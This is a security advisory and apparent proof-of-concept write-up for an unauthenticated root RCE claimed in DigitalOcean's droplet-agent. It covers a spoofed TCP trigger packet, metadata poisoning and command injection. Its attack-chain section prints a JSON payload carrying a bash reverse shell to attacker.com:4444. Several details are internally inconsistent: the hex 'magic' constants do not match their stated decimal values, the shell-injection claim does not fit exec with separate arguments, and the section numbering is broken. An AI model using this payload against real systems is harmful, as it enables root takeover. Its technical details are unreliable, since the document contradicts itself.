CVE-2026-24516-DigitalOcean-RCE.

Technical analysis and PoC for CVE-2026-24516: Unauthenticated Root Remote Code Execution in DigitalOcean Droplet Agent (CVSS 10.0).

TECHNICAL SECURITY ADVISORY: CVE-2026-24516

ID: CVE-2026-24516

TITLE: Unauthenticated Root RCE via Metadata Poisoning & Side-Channel

SEVERITY: Critical (CVSS v3.1: 10.0 / AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

RESEARCHER: Anmol Singh Rajput (@poxsky)

AFFECTED: DigitalOcean Droplet Agent (droplet-agent) <= v1.3.2

================================================================================

1. ARCHITECTURAL OVERVIEW

---

The 'droplet-agent' is a privileged system daemon (UID 0) designed for remote telemetry and diagnostics. It maintains a passive monitoring state until a specific signaling sequence is received. The core vulnerability lies in the "Implicit Trust Model" of the link-local metadata service (169.254.169.254), which lacks cryptographic integrity checks.

2. DEEP DIVE: EXPLOIT PRIMITIVES

A. PASSIVE TCP SIDE-CHANNEL (THE SIGNALING LAYER) The agent utilizes a raw socket listener (internal/metadata/watcher/ssh_watcher.go) on Port 22. It performs state transition from IDLE to ACTIVE based on hardcoded magic constants in the TCP header:

• Sequence Number (Seq): 0x419AD37 (68796879 -> "DODO")
• Acknowledgment Number (Ack): 0xCF259 (848489 -> "TTY")

Analysis: This creates a deterministic trigger. An external attacker can impersonate the infrastructure control plane by spoofing a single TCP SYN packet with these magic values.

B. TRUST BOUNDARY VIOLATION (THE LINK-LOCAL FLAW) Upon signaling, the agent fetches JSON instructions from the cloud metadata endpoint. The vulnerability is a Lack of Authenticity Verification. The agent treats the 169.254.169.254 zone as a "Hardened Trusted Zone," failing to verify payload signatures (HMAC/mTLS).

C. THE SINK: UNSANITIZED COMMAND INJECTION The 'TroubleshootingActioner' (internal/troubleshooting/actioner/actioner.go) contains a sink where it parses the 'requesting' array.

• Vulnerable Sink: exec.CommandContext(ctx, name, args...)
• Logic Flaw: The validation logic only performs a prefix check ('command:'). It fails to tokenize inputs or sanitize shell metacharacters (;, |, &, $).

3. WEAPONIZED ATTACK CHAIN (SSRF-TO-ROOT-RCE)

---

1. IMPERSONATION: Attacker identifies an SSRF in a hosted application to proxy requests to the link-local metadata service.

2. POISONING: Attacker sets up a malicious metadata server returning: {"requesting": ["command:bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"]}

3. THE KNOCK: Attacker sends the "DODO-TTY" TCP trigger to Port 22.

4. EXECUTION: The agent fetches the poisoned JSON and executes the reverse shell with EFFECTIVE UID 0 (Root).

5. IMPACT ASSESSMENT

---

• TOTAL SYSTEM COMPROMISE: Full kernel-level access.
• PERSISTENCE: Ability to inject rootkits or persistent SSH backdoors.
• TENANT RISK: A single SSRF in any customer app leads to a full droplet takeover, bypassing all OS-level firewalls.

5. REMEDIATION STRATEGY

---

• CRYPTOGRAPHIC INTEGRITY: Implement JWT/HMAC signing for all metadata payloads.
• NAMESPACE ISOLATION: Run the actioner in a restricted PID/Network namespace.
• ALLOWLISTING: Hardcode a set of immutable diagnostic binaries; reject all dynamic string inputs.